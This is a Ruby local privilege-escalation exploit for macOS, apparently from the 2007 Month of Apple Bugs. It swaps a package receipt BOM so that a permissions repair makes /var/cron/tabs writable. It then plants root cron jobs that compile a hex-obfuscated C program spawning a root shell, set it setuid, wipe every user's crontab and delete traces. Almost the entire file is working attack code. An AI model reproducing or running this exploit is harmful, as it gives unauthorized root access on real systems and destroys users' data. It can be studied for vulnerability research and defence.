MOAB-05-01-2007_cron.rb.txt

`#!/usr/bin/ruby  
# (c) 2006 LMH <lmh [at] info-pull.com> (code from the other exploit, porting)  
# Kevin Finisterre <kf_lists [at] digitalmunition.com> (crontab rock and roll)  
#  
# Second exploit for MOAB-05-01-2007, uses crontab. much more simple than the other one.  
# And works like a charm.  
  
require 'fileutils'  
  
EVIL_COMMANDS = [  
"rm /Library/Receipts/Essentials.pkg/Contents/Archive.bom ",  
"echo -e \"\\x6d\\x61\\x69\\x6e\\x28\\x29\\x7b\\x20\\x73\\x65\\x74\\x65\\x75\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x65\\x67\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x75\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x67\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x79\\x73\\x74\\x65\\x6d\\x28\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x2d\\x69\\x22\\x29\\x3b\\x20\\x7d\\x0a\" > /tmp/finisterre.c",  
"/usr/bin/cc -o /Users/Shared/shX /tmp/finisterre.c; rm /tmp/finisterre.c",  
"/bin/cp -r /var/cron/tabs /Users/Shared", # I have no legit crontabs so I don't care.   
"/usr/bin/say Flavor Flave a k a `whoami` && sleep 5 && /usr/bin/say sleeping briefly && sleep 5 && chmod +s /Users/Shared/shX && sleep 5",   
"echo '' > /tmp/pwnclean",  
"for each in `ls /var/cron/tabs/`; do crontab -u $each /tmp/pwnclean; done", # Sorry if you had any legit crontabs...  
"crontab /tmp/pwnclean", # Just to make sure  
"rm -rf /tmp/pwn*",   
]  
TARGET_BOM_PATH = "/Library/Receipts/Essentials.pkg/Contents/Archive.bom"  
SHELL_TEMPLATE = "mkdir -p /tmp/pwndertino/var/cron/tabs\n" +  
"cd /tmp/pwndertino\n" +  
"chmod 777 var/cron/tabs\n" +  
"mkbom . /tmp/pwned.bom\n" +  
"cp /tmp/pwned.bom #{TARGET_BOM_PATH}\n" +  
"/usr/sbin/diskutil repairPermissions /\n"  
  
if ARGV[0] != "repair"  
# Backup if its there! Some times it is not.   
if File.exists?(TARGET_BOM_PATH)  
FileUtils.cp(TARGET_BOM_PATH, File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))  
end  
  
puts "++ Dropping the 31337 .sh skillz"  
shell_script = File.new("moab5.sh", "w")  
shell_script.print(SHELL_TEMPLATE)  
  
puts "++ Fixing up crontabs"  
  
EVIL_COMMANDS.each do |cmd|  
shell_script.print("echo '* * * * * #{cmd}' >> /var/cron/tabs/root\n")  
end  
  
  
shell_script.print("echo '* * * * * /bin/rm -rf /tmp/pwned.bom /tmp/pwndertino' >> /tmp/pwncron\n")  
shell_script.print("crontab /tmp/pwncron\n") # You may need to sleep here  
  
shell_script.close  
puts "++ Execute moab5.sh"  
FileUtils.chmod 0755, "./moab5.sh"   
exec "/bin/sh", "-c", "./moab5.sh"  
puts "++ Run the repair script when you are all done."  
else  
  
# minor repair for a post-testing scenario  
if File.exists?(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))  
FileUtils.cp(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)), TARGET_BOM_PATH) # restore backup  
FileUtils.rm_f(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))  
exec "/usr/sbin/diskutil repairPermissions /"  
  
else  
exec "/usr/sbin/diskutil repairPermissions /"  
end  
  
end  
  
  
`